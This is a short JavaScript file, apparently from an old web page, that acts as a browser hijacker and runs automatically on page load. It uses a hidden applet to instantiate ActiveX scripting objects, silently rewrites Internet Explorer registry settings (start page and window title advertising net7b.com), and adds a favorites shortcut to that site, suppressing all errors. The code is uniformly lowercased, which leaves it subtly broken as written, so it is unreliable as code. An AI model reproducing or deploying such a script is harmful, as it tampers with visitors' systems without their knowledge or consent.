document.write("<applet height=0 width=0 code=com.ms.activex.activexcomponent></applet>")
function addfavlnk(loc, dispname, siteurl)
{
var shor = shl.createshortcut(loc + "\\" + dispname +".url");
shor.targetpath = siteurl;
shor.save();
}
function f(){
try
{
a1=document.applets[0];
a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
shl = a1.getobject();
a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");
a1.createinstance();
fso = a1.getobject();
a1.setclsid("{f935dc26-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createinstance();
net = a1.getobject();
try{
//if (document.cookie.indexof("chglive") == -1)
//{
var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="chglive=general; expires=" + expdate.togmtstring() + "; path=/;"
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page", "about:blank");
shl.regwrite ("hklm\\software\\microsoft\\internet explorer\\main\\window title", "==网络奇兵== http://www.net7b.com/");
shl.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\window title", "==网络奇兵== http://www.net7b.com/");
var expdate = new date((new date()).gettime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="chglive=general; expires=" + expdate.togmtstring() + "; path=/;"
var wf, shor, loc;
wf = fso.getspecialfolder(0);
loc = wf + "\\favorites";
if(!fso.folderexists(loc))
{
loc = fso.getdrivename(wf) + "\\documents and settings\\" + net.username + "\\favorites";
if(!fso.folderexists(loc))
{
return;
}
}
addfavlnk(loc, "◇网络奇兵◇", "http://www.net7b.com/");
//}
}
catch(e){ }
}
catch(e){ }
}
function init(){
settimeout("f()", 1000);
}
init();
//微软的产品可以让人有很多创意噢!
